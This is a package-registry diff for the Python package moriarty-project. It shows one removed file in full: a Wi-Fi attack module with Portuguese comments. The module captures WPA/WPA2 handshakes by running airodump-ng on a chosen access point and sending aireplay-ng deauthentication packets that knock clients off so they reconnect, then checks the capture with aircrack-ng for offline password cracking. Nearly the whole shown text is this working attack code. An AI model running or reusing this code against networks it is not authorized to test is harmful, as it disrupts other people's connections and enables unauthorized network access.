moriarty-project 0.1.21__py3-none-any.whl → 0.1.23__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (26) hide show
  1. moriarty/__init__.py +1 -1
  2. moriarty/cli/app.py +5 -6
  3. moriarty/modules/port_scanner.py +1 -5
  4. {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/METADATA +36 -49
  5. {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/RECORD +7 -26
  6. moriarty/cli/wifippler.py +0 -124
  7. moriarty/modules/wifippler/__init__.py +0 -92
  8. moriarty/modules/wifippler/cli/__init__.py +0 -8
  9. moriarty/modules/wifippler/cli/commands.py +0 -123
  10. moriarty/modules/wifippler/core/__init__.py +0 -94
  11. moriarty/modules/wifippler/core/attacks/__init__.py +0 -146
  12. moriarty/modules/wifippler/core/attacks/deauth.py +0 -262
  13. moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
  14. moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
  15. moriarty/modules/wifippler/core/attacks/wep.py +0 -467
  16. moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
  17. moriarty/modules/wifippler/core/attacks/wps.py +0 -474
  18. moriarty/modules/wifippler/core/models/__init__.py +0 -10
  19. moriarty/modules/wifippler/core/models/network.py +0 -216
  20. moriarty/modules/wifippler/core/scanner.py +0 -901
  21. moriarty/modules/wifippler/core/utils/__init__.py +0 -636
  22. moriarty/modules/wifippler/core/utils/exec.py +0 -182
  23. moriarty/modules/wifippler/core/utils/network.py +0 -223
  24. moriarty/modules/wifippler/core/utils/system.py +0 -153
  25. {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/WHEEL +0 -0
  26. {moriarty_project-0.1.21.dist-info → moriarty_project-0.1.23.dist-info}/entry_points.txt +0 -0
@@ -1,402 +0,0 @@
1
- """
2
- Módulo de captura de handshake WPA/WPA2.
3
-
4
- Este módulo implementa a captura de handshakes WPA/WPA2, que são necessários
5
- para realizar ataques de força bruta offline.
6
- """
7
- import os
8
- import re
9
- import time
10
- import logging
11
- import subprocess
12
- import tempfile
13
- from typing import Optional, Dict, List, Tuple, Any, Callable
14
- from dataclasses import dataclass, field
15
- from enum import Enum, auto
16
-
17
- from rich.console import Console
18
- from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TimeElapsedColumn
19
-
20
- from ...core.models.network import WiFiNetwork, WiFiClient
21
- from ...core.utils import (
22
- is_root, check_dependencies, get_network_interfaces,
23
- set_monitor_mode, restore_network_interface, command_exists,
24
- get_interface_mac
25
- )
26
-
27
- # Configuração de logging
28
- logging.basicConfig(level=logging.INFO)
29
- logger = logging.getLogger(__name__)
30
- console = Console()
31
-
32
- class HandshakeEventType(Enum):
33
- """Tipos de eventos da captura de handshake."""
34
- START = auto()
35
- HANDSHAKE_CAPTURED = auto()
36
- DEAUTH_SENT = auto()
37
- ERROR = auto()
38
- PROGRESS = auto()
39
- COMPLETE = auto()
40
- CLIENT_FOUND = auto()
41
- WAITING_FOR_HANDSHAKE = auto()
42
-
43
- @dataclass
44
- class HandshakeEvent:
45
- """Evento de progresso da captura de handshake."""
46
- type: HandshakeEventType
47
- message: str = ""
48
- data: Dict[str, Any] = field(default_factory=dict)
49
-
50
- class HandshakeCapture:
51
- """Classe para capturar handshakes WPA/WPA2."""
52
-
53
- def __init__(self, interface: str = None, timeout: int = 300):
54
- """
55
- Inicializa a captura de handshake.
56
-
57
- Args:
58
- interface: Interface de rede para usar
59
- timeout: Tempo máximo de captura em segundos
60
- """
61
- self.interface = interface
62
- self.timeout = timeout
63
- self.is_running = False
64
- self.stop_requested = False
65
- self.handshake_captured = False
66
- self.handshake_file = ""
67
- self.clients = []
68
-
69
- # Verifica dependências
70
- self._check_dependencies()
71
-
72
- # Verifica privilégios
73
- if not is_root():
74
- raise PermissionError("Este módulo requer privilégios de root")
75
-
76
- def _check_dependencies(self) -> None:
77
- """Verifica se todas as dependências necessárias estão instaladas."""
78
- required = ['airodump-ng', 'aireplay-ng', 'aircrack-ng']
79
- missing = [cmd for cmd in required if not command_exists(cmd)]
80
-
81
- if missing:
82
- raise RuntimeError(
83
- f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
84
- "Instale-as com: sudo apt install aircrack-ng"
85
- )
86
-
87
- def capture(self, bssid: str, channel: int, essid: str = None,
88
- output_prefix: str = "handshake",
89
- deauth: bool = True, deauth_count: int = 5,
90
- client_mac: str = None,
91
- callback: Callable[[HandshakeEvent], None] = None) -> Tuple[bool, str]:
92
- """
93
- Captura um handshake WPA/WPA2.
94
-
95
- Args:
96
- bssid: Endereço MAC do ponto de acesso
97
- channel: Canal da rede
98
- essid: Nome da rede (opcional)
99
- output_prefix: Prefixo para os arquivos de saída
100
- deauth: Se deve enviar pacotes de desautenticação
101
- deauth_count: Número de pacotes de desautenticação a enviar
102
- client_mac: Endereço MAC do cliente alvo (opcional)
103
- callback: Função de callback para eventos
104
-
105
- Returns:
106
- Tupla (sucesso, caminho_do_arquivo_capturado)
107
- """
108
- self.is_running = True
109
- self.stop_requested = False
110
- self.handshake_captured = False
111
- self.handshake_file = ""
112
- self.clients = []
113
-
114
- # Configura o monitoramento de eventos
115
- def event_handler(event_type: HandshakeEventType, message: str = "", **kwargs):
116
- if callback:
117
- event = HandshakeEvent(type=event_type, message=message, data=kwargs)
118
- callback(event)
119
-
120
- # Cria um diretório temporário para os arquivos
121
- with tempfile.TemporaryDirectory() as temp_dir:
122
- try:
123
- output_file = os.path.join(temp_dir, output_prefix)
124
- cap_file = f"{output_file}-01.cap"
125
-
126
- # Comando para o airodump-ng
127
- cmd_airodump = [
128
- 'airodump-ng',
129
- '--bssid', bssid,
130
- '-c', str(channel),
131
- '-w', output_file,
132
- '--output-format', 'cap,pcap',
133
- '--write-interval', '1',
134
- self.interface
135
- ]
136
-
137
- if essid:
138
- cmd_airodump.extend(['--essid', essid])
139
-
140
- event_handler(HandshakeEventType.START, "Iniciando captura do handshake...")
141
-
142
- # Executa o airodump-ng em segundo plano
143
- airodump_proc = subprocess.Popen(
144
- cmd_airodump,
145
- stdout=subprocess.PIPE,
146
- stderr=subprocess.PIPE,
147
- universal_newlines=True
148
- )
149
-
150
- # Aguarda o airodump-ng iniciar
151
- time.sleep(5)
152
-
153
- # Se solicitado, envia pacotes de desautenticação
154
- if deauth:
155
- self._send_deauth(
156
- bssid,
157
- count=deauth_count,
158
- client=client_mac,
159
- callback=lambda e: event_handler(
160
- HandshakeEventType.DEAUTH_SENT,
161
- e.message,
162
- **e.data
163
- )
164
- )
165
-
166
- # Monitora a captura
167
- start_time = time.time()
168
- last_client_count = 0
169
-
170
- with Progress(
171
- SpinnerColumn(),
172
- TextColumn("[progress.description]{task.description}"),
173
- BarColumn(bar_width=40),
174
- "[progress.percentage]{task.percentage:>3.0f}%",
175
- TimeElapsedColumn(),
176
- console=console,
177
- transient=True,
178
- ) as progress:
179
- task = progress.add_task("Aguardando handshake WPA...", total=100)
180
-
181
- while True:
182
- # Verifica timeout
183
- elapsed = time.time() - start_time
184
- if elapsed > self.timeout:
185
- event_handler(
186
- HandshakeEventType.ERROR,
187
- "Tempo limite excedido na captura do handshake"
188
- )
189
- airodump_proc.terminate()
190
- return False, ""
191
-
192
- # Verifica se foi solicitado para parar
193
- if self.stop_requested:
194
- event_handler(
195
- HandshakeEventType.ERROR,
196
- "Captura interrompida pelo usuário"
197
- )
198
- airodump_proc.terminate()
199
- return False, ""
200
-
201
- # Atualiza a barra de progresso
202
- progress.update(task, completed=min(100, (elapsed / self.timeout) * 100))
203
-
204
- # Verifica se o arquivo de captura existe
205
- if os.path.exists(cap_file):
206
- # Verifica se o handshake foi capturado
207
- if self._check_handshake(cap_file, bssid):
208
- self.handshake_captured = True
209
- self.handshake_file = cap_file
210
-
211
- # Copia o arquivo para o diretório atual
212
- import shutil
213
- final_file = os.path.join(os.getcwd(), f"{output_prefix}.cap")
214
- shutil.copy2(cap_file, final_file)
215
-
216
- event_handler(
217
- HandshakeEventType.HANDSHAKE_CAPTURED,
218
- "Handshake capturado com sucesso!",
219
- handshake_file=final_file
220
- )
221
-
222
- airodump_proc.terminate()
223
- return True, final_file
224
-
225
- # Verifica por novos clientes
226
- clients = self._get_clients(cap_file, bssid)
227
- if len(clients) > last_client_count:
228
- last_client_count = len(clients)
229
- self.clients = clients
230
-
231
- event_handler(
232
- HandshakeEventType.CLIENT_FOUND,
233
- f"{len(clients)} cliente(s) encontrado(s)",
234
- clients=clients
235
- )
236
-
237
- # Se não havia cliente alvo e encontrou um, envia desautenticação
238
- if deauth and not client_mac and clients:
239
- client_mac = clients[0].mac
240
- self._send_deauth(
241
- bssid,
242
- client=client_mac,
243
- count=deauth_count,
244
- callback=lambda e: event_handler(
245
- HandshakeEventType.DEAUTH_SENT,
246
- e.message,
247
- **e.data
248
- )
249
- )
250
-
251
- # Aguarda um pouco antes da próxima verificação
252
- time.sleep(1)
253
-
254
- return False, ""
255
-
256
- except Exception as e:
257
- event_handler(
258
- HandshakeEventType.ERROR,
259
- f"Erro durante a captura do handshake: {str(e)}"
260
- )
261
- return False, ""
262
-
263
- finally:
264
- self.is_running = False
265
- # Encerra processos em execução
266
- try:
267
- airodump_proc.terminate()
268
- except:
269
- pass
270
-
271
- def _send_deauth(self, bssid: str, client: str = None,
272
- count: int = 5, reason: int = 7,
273
- callback: Callable[[HandshakeEvent], None] = None) -> bool:
274
- """
275
- Envia pacotes de desautenticação para forçar um handshake.
276
-
277
- Args:
278
- bssid: Endereço MAC do ponto de acesso
279
- client: Endereço MAC do cliente (None para broadcast)
280
- count: Número de pacotes a enviar
281
- reason: Código de motivo da desautenticação
282
- callback: Função de callback para eventos
283
-
284
- Returns:
285
- True se os pacotes foram enviados com sucesso, False caso contrário
286
- """
287
- try:
288
- cmd = [
289
- 'aireplay-ng',
290
- '--deauth', str(count),
291
- '-a', bssid,
292
- '-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
293
- '--ignore-negative-one',
294
- ]
295
-
296
- if client and client.lower() != 'ff:ff:ff:ff:ff:ff':
297
- cmd.extend(['-c', client])
298
-
299
- cmd.append(self.interface)
300
-
301
- if callback:
302
- event = HandshakeEvent(
303
- type=HandshakeEventType.DEAUTH_SENT,
304
- message=f"Enviando {count} pacotes de desautenticação para {client or 'broadcast'}",
305
- data={
306
- 'bssid': bssid,
307
- 'client': client,
308
- 'count': count,
309
- 'reason': reason
310
- }
311
- )
312
- callback(event)
313
-
314
- subprocess.run(cmd, capture_output=True, check=True)
315
- return True
316
-
317
- except subprocess.CalledProcessError as e:
318
- if callback:
319
- event = HandshakeEvent(
320
- type=HandshakeEventType.ERROR,
321
- message=f"Erro ao enviar pacotes de desautenticação: {e.stderr}",
322
- data={'error': str(e)}
323
- )
324
- callback(event)
325
- return False
326
-
327
- def _check_handshake(self, cap_file: str, bssid: str) -> bool:
328
- """
329
- Verifica se um arquivo de captura contém um handshake WPA/WPA2 válido.
330
-
331
- Args:
332
- cap_file: Caminho para o arquivo de captura
333
- bssid: Endereço MAC do ponto de acesso
334
-
335
- Returns:
336
- True se o handshake for válido, False caso contrário
337
- """
338
- try:
339
- # Usa o aircrack-ng para verificar o handshake
340
- cmd = ['aircrack-ng', cap_file, '-b', bssid, '-l', '/dev/null']
341
- result = subprocess.run(cmd, capture_output=True, text=True)
342
-
343
- # Verifica a saída para determinar se há um handshake válido
344
- return "1 handshake" in result.stdout or "1 valid handshake" in result.stdout
345
-
346
- except Exception as e:
347
- logger.error(f"Erro ao verificar handshake: {e}")
348
- return False
349
-
350
- def _get_clients(self, cap_file: str, bssid: str) -> List[WiFiClient]:
351
- """
352
- Extrai a lista de clientes de um arquivo de captura.
353
-
354
- Args:
355
- cap_file: Caminho para o arquivo de captura
356
- bssid: Endereço MAC do ponto de acesso
357
-
358
- Returns:
359
- Lista de clientes encontrados
360
- """
361
- clients = []
362
-
363
- try:
364
- # Usa o tshark para extrair os endereços MAC dos clientes
365
- cmd = [
366
- 'tshark',
367
- '-r', cap_file,
368
- '-Y', f'wlan.bssid == {bssid} && wlan.fc.type_subtype == 0x08', # Beacon frames
369
- '-T', 'fields',
370
- '-e', 'wlan.ta', # Transmitter address (client MAC)
371
- '-e', 'wlan_radio.signal_dbm',
372
- '-e', 'frame.time_relative'
373
- ]
374
-
375
- result = subprocess.run(cmd, capture_output=True, text=True)
376
-
377
- # Processa a saída
378
- for line in result.stdout.splitlines():
379
- parts = line.strip().split('\t')
380
- if len(parts) >= 2:
381
- mac = parts[0].strip()
382
- signal = int(float(parts[1])) if parts[1] else -100
383
-
384
- # Verifica se o cliente já está na lista
385
- if not any(c.mac == mac for c in clients):
386
- client = WiFiClient(
387
- mac=mac,
388
- signal_dbm=signal,
389
- signal_percent=max(0, min(100, 2 * (signal + 100))),
390
- is_associated=True
391
- )
392
- clients.append(client)
393
-
394
- return clients
395
-
396
- except Exception as e:
397
- logger.error(f"Erro ao extrair clientes: {e}")
398
- return []
399
-
400
- def stop(self):
401
- """Solicita a interrupção da captura."""
402
- self.stop_requested = True